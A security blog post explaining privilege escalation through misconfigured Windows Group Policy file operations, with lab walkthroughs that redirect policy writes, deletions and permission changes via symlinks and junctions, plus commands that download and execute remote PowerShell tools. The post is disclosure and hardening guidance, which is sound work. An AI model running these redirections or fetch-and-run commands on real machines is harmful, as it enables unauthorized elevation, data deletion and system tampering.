During a workstation assessment in the beginning of 2021, we identified a trivial privilege escalation vulnerability occurring during Group Policy Updates. The vulnerability itself was not exploitable by default but relied on a misconfiguration. However, this kind of misconfiguration seemed likely to occur in other environments too, so we informed Microsoft about the issue. They did not consider it security relevant.
From this point on, the first thing we did when getting access to an Active Directory in an assessment was checking for this kind of misconfiguration. It was as expected: We identified similar issues in 90% of the analyzed environments, although not all of them led to privilege escalation.
With this blog post, we want to increase awareness for this issue and hopefully help other security analysts and system administrators to identify and fix it.
Performing File Operations via Group Policy Updates
Windows Group Policies are used to control and define the working environment of users and computers within Active Directory. They provide a great amount of control and allow to centrally manage Windows settings across an organization. From an offensive perspective, Group Policies have been mostly discussed in the context of access permissions (as for example in this excellent article by Andy Robbins) or when extracting credentials out of Group Policy Preference files (as outlined in this blog post by Bill Harshbarger). However, Group Policies can contain many other interesting configuration settings and perform operations that are interesting from an offensive perspective. Among these are file operations.
Group Policies can be used to deploy files, folders and access permissions across domain joined computers. This may sound uncommon, but from our experience it is used by many organizations to deploy globally used scripts and templates, to create folders that require a specific set of permissions or to remove legacy components that may still be available on some workstations. File system operations can be configured using the Group Policy Management Editor:
The example above demonstrates how a template file can be deployed to all computers within a domain, but why is this dangerous? Well, there are several examples available where file system operations during Group Policy Updates have been abused for privilege escalation (e.g. this one from CyberArk or this one from Andrea Pierini). The underlying principle of these attacks is basically the same: A file system symbolic link is used to redirect file operations from the high privileged GPSVC service to different locations within the file system.
How difficult it is to identify this kind of vulnerabilities depends on your goal. When you are only interested in exploitation opportunities from your current user account, creating a HTML report using gpresult /R report.html
is usually sufficient. A configuration like the one demonstrated above can be found in Settings -> Preferences -> Windows Settings -> Files
within this report:
If your intent is to find this kind of vulnerabilities globally within a domain, your best chance is probably to use a sufficiently high privileged user and to use Group Policy Management Editor to inspect all file and folder-based GPOs manually. If you only have a low privileged user available, you can attempt to find vulnerable policies manually by inspecting the SYSVOL
share of the domain controller. Enrollment policies for files and folders are usually stored in XML files named Files.xml
and Folders.xml
:
PS C:\> Get-ChildItem -Recurse \\DC01\SYSVOL Files.xml Directory: \\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Files Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 8/30/2022 12:11 PM 464 Files.xml PS C:\> type "\\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Files\Files.xml" <?xml version="1.0" ?> <Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}"> <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="Template.docx" status="Template.docx" image="1" changed="2022-08-30 10:11:52" uid="{C11D27EA-661B-48FB-862B-5A2F595E50CD}"> <Properties action="R" fromPath="\\SRV02\Documents\Template.docx" targetPath="%AppData%\OfficeTemplates\Template.docx" readOnly="0" archive="1" hidden="0" suppress="0"/> </File> </Files>
Another nice trick to identify potentially vulnerable files and folders is looking for unexpected file ownership. Files within your %AppData%
folder owned by Administrators or NT Authority\SYSTEM were obviously created with high privileges. Tools like PowerEnum can be used to quickly identify such files:
PS C:\> IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/qtc-de/PowerEnum/main/PowerEnum.ps1") PS C:\> Get-ChildItem C:\Users\tdancer\AppData -Recurse -Force -File | Get-AccessiblePath -ExcludeOwner tdancer | fl ... AccessiblePath : C:\Users\tdancer\AppData\Roaming\OfficeTemplates\Template.docx Owner : NT AUTHORITY\SYSTEM IdentityReference : USDLAB\tdancer Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
Attack Vectors
Depending on the type of file operation that is performed, different attacks are possible. For this blog post, we have summarized the three most common vulnerability types we have encountered.
Overwriting Arbitrary Files
The ability to overwrite arbitrary files on a workstation is by far the most common vulnerability we identified. Group Policies that deploy files to user writable locations in C:\ProgramData
or %AppData%
are often used by organizations and redirecting these file operations to different locations is usually possible. As an example, assume we found the following Group Policy definition within an HTML report created with gpresult
:
This GPO is dangerous, as the target can be written to by the user:
PS C:\Users\tdancer\AppData\Roaming> icacls .\OfficeTemplates .\OfficeTemplates NT AUTHORITY\SYSTEM:(OI)(CI)(F) BUILTIN\Administrators:(OI)(CI)(F) USDLAB\tdancer:(OI)(CI)(F)
We can now use SharpLink to create a symbolic link at the targeted file location and redirect the operation to a different location:
PS C:\> $code = (iwr https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs -UseBasicParsing).content PS C:\> Add-Type $code PS C:\> del C:\Users\tdancer\AppData\Roaming\OfficeTemplates\Template.docx PS C:\> $s = New-Object de.usd.SharpLink.Symlink("C:\Users\tdancer\AppData\Roaming\OfficeTemplates\Template.docx", "C:\Windows\win.ini") PS C:\> $s.Open() [+] Creating Junction: C:\Users\tdancer\AppData\Roaming\OfficeTemplates -> \RPC CONTROL [+] Creating DosDevice: Global\GLOBALROOT\RPC CONTROL\Template.docx -> \??\C:\Windows\win.ini [+] Symlink setup successfully. PS C:\> dir C:\Windows\win.ini Directory: C:\Windows Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/15/2018 9:31 AM 92 win.ini PS C:\> gpupdate /force Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. PS C:\> dir C:\Windows\win.ini Directory: C:\Windows Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/28/2017 5:41 PM 10762150 win.ini
Obviously, since the written content is not user controlled, such a vulnerability can usually only be used for denial-of-service attacks. However, as outlined in this blog post by Andrea Pierini, the source location of file operations is sometimes writable. This allows turning an uncontrolled file write into a fully controlled file write, resulting in a reliable privilege escalation.
Deleting Arbitrary Files
Being able to delete arbitrary files is almost as common as the overwriting scenario described above. Consider an organization realizes that a certain resource is no longer required but was already deployed to all workstations. Group Policies can be used to easily clean this up. We have encountered rules like the one in the following example during many engagements:
Exploitation in this case is even easier than for the file overwrite. Instead of working with symbolic links, we can just create a Junction using the builtin mklink
utility. Wiping data from a protected folder? No problem!
C:\ProgramData\USOShared\Logs>dir Volume in drive C has no label. Volume Serial Number is DC98-0A9A Directory of C:\ProgramData\USOShared\Logs 30/08/2022 10:01 <DIR> . 30/08/2022 10:01 <DIR> .. 11/12/2019 09:16 8.192 NotificationUx.001.etl 10/12/2019 13:54 8.192 NotificationUx.002.etl 10/12/2019 13:33 8.192 NotificationUx.003.etl 10/12/2019 09:00 8.192 NotificationUx.004.etl <SNIP> C:\ProgramData\USOShared\Logs>icacls NotificationUx.001.etl NotificationUx.001.etl NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) usdlab\Julia:(I)(F) BUILTIN\Users:(I)(RX) C:\ProgramData\USOShared\Logs>del NotificationUx.001.etl C:\ProgramData\USOShared\Logs\NotificationUx.001.etl Access is denied. C:\ProgramData\USOShared\Logs>mklink /J C:\Users\tdancer\AppData\Roaming\OfficeTemplates C:\ProgramData\USOShared\Logs Junction created for C:\Users\tdancer\AppData\Roaming\OfficeTemplates <<===>> C:\ProgramData\USOShared\Logs C:\ProgramData\USOShared\Logs>gpupdate /force Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. C:\ProgramData\USOShared\Logs>dir Volume in drive C has no label. Volume Serial Number is DC98-0A9A Directory of C:\ProgramData\USOShared\Logs 30/08/2022 10:51 <DIR> . 30/08/2022 10:51 <DIR> .. 0 File(s) 0 bytes 2 Dir(s) 238.686.208 bytes free
While file deletion vulnerabilities can obviously be used for denial-of-service attacks, in many cases they can also be exploited for privilege escalation. One example can be found in this article by Jonas L, but on typical workstations with many third-party software components, the whole C:\ProgramData
folder is an interesting target in general. Several products run high privileged processes or services that rely on files within C:\ProgramData
. Many of them do not change the inherited directory permissions and only configure restrictive permissions for files contained in those directories. This allows low privileged users write access to those directories. Being able to delete files and to replace them with other content often results in privilege escalation.
Permission Modification on Arbitrary Files
Permission modifications have usually been the most dangerous Group Policy configurations. Luckily, we have not encountered them often. Configuring them needs to be done in the Computer Configuration section of the Group Policy Management Editor:
One example for this situation was an organization, that used central Log folder C:\Internal\Logs
for storing all log output generated by internally used tools. Since this log folder was also supposed to work for shared workspaces, modify permissions were assigned via Group Policies and the corresponding rule looked roughly like this:
Unfortunately, the folder C:\Internal
was under the control of low privileged user accounts. Therefore, by removing the C:\Internal\Logs
folder and replacing it with Junction or symbolic link, the permission assignment could be redirected to arbitrary resources:
PS C:\internal> $code = (iwr https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs -UseBasicParsing).content PS C:\internal> Add-Type $code PS C:\internal> rmdir .\logs\ -Force PS C:\internal> $s = New-Object de.usd.SharpLink.Symlink("C:\internal\logs", "C:\Windows\system.ini") PS C:\internal> $s.Open() [+] Creating Junction: C:\internal -> \RPC CONTROL [+] Creating DosDevice: Global\GLOBALROOT\RPC CONTROL\logs -> \??\C:\Windows\system.ini [+] Symlink setup successfully. PS C:\internal> icacls C:\Windows\system.ini C:\Windows\system.ini NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files PS C:\internal> gpupdate /force Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. PS C:\internal> icacls C:\Windows\system.ini C:\Windows\system.ini APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX) NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) BUILTIN\Users:(F) Successfully processed 1 files; Failed processing 0 files
Turning this vulnerability in a privilege escalation can be done in several ways, e.g. by overwriting service binaries or DLL hijacking.
Identifying a misconfiguration as the one described above can be tricky. If you have a sufficiently high privileged user account, the computer policies are usually displayed within a report when running gpresult
(you can also use the /SCOPE:Computer
option to request them explicitly). When using a low privileged user, you may not be allowed to view computer policies using gpresult
. However, you can still find corresponding policies within the SYSVOL
share of the domain controller:
PS C:\> Get-ChildItem -Recurse \\DC01\SYSVOL | Select-String "File Security" -List | Select Path Path ---- \\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf PS C:\> type "\\DC01\SYSVOL\usdlab.test\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" [Unicode] Unicode=yes [System Access] MinimumPasswordAge = 1 MaximumPasswordAge = 90 MinimumPasswordLength = 8 PasswordComplexity = 1 PasswordHistorySize = 24 LockoutBadCount = 0 RequireLogonToChangePassword = 0 ForceLogoffWhenHourExpire = 0 ClearTextPassword = 0 LSAAnonymousNameLookup = 0 [Kerberos Policy] MaxTicketAge = 10 MaxRenewAge = 7 MaxServiceAge = 600 MaxClockSkew = 5 TicketValidateClient = 1 [Version] signature="$CHICAGO$" Revision=1 [Privilege Rights] SeMachineAccountPrivilege = *S-1-5-21-561523361-3746362414-1812353783-512 [Registry Values] MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1 [File Security] "%SystemDrive%\internal\logs",0,"D:PAR(A;OICI;0x1200a9;;;S-1-15-2-1)(A;OICIIO;FA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;BU)"
Conclusion and Recommendation
Performing file operations via Group Policies is a powerful mechanism for deploying and managing files and resources required by multiple computers across the domain. But with power comes responsibility. When using such policies, administrators should be aware that file operations targeting user-controlled parts of the file system can be redirected to different locations. Therefore, it is recommended to avoid such policies and only to use them when the targeted location is known to be secure. Organizations should check their existing Group Policy configuration for possible misconfigurations.
- All policies that deploy, modify or remove files, folders or permissions should be reviewed.
- It should be checked whether the source or destination of the operation is located in a user controlled part of the file system.
- Vulnerable policy definitions should be replaced by a secure alternative.
Additionally, if vulnerable policy definitions were identified in your organisation, indicators for already occurred attacks should be searched for.
September Update
As outlined by Andrea Pierini, with the 2022 September update, Microsoft configured Redirection Trust for the Group Policy Client service, which is responsible for applying Group Policies to domain joined systems. Redirection Trust is a relatively new feature which is described in more detail within this great blog post by Gal De Leon. It basically blocks high privileged service accounts from accessing File System Junctions that were created by low privileged user accounts. This feature is a great security improvement and could block attacks as described above. That being said, James Forshaw already outlined that the solution may not be bullet proof at this point.